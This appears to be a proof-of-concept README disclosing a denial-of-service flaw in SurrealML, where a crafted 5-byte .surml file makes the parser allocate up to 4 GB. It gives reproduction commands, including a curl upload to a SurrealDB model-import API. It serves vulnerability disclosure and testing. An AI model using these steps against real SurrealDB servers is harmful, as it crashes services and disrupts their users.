poc-surrealml-dos

PoC: SurrealML Memory Allocation DoS via Malformed .surml Header

Vulnerability

SurrealML's SurMlFile::from_file() at surml_file.rs:108 reads a 4-byte header length from a .surml file and allocates that many bytes without any upper bound validation.

A crafted 5-byte .surml file can trigger a 4 GB memory allocation, crashing any SurrealDB node that loads it.

Files

• malicious_dos.surml — 5-byte .surml file claiming a 4GB header (max u32)
• moderate_dos.surml — 5-byte .surml file claiming a 1GB header
• create_malicious_surml.py — Script to generate the crafted files

Reproduction

# Generate the PoC files:
python3 create_malicious_surml.py

# Trigger via Python (requires surrealml):
python3 -c "from surrealml import SurMlFile; SurMlFile.from_file('malicious_dos.surml')"

# Trigger via SurrealDB API:
curl -X POST http://surrealdb:8000/ml/import \
  -H "Authorization: Bearer <token>" \
  --data-binary @malicious_dos.surml

Impact

• Denial of Service: 5-byte file causes 4GB allocation attempt
• Process crash (OOM kill) or severe memory pressure
• Remotely triggerable via SurrealDB ML model import API

NON-DESTRUCTIVE

These files only cause memory allocation. No code is executed.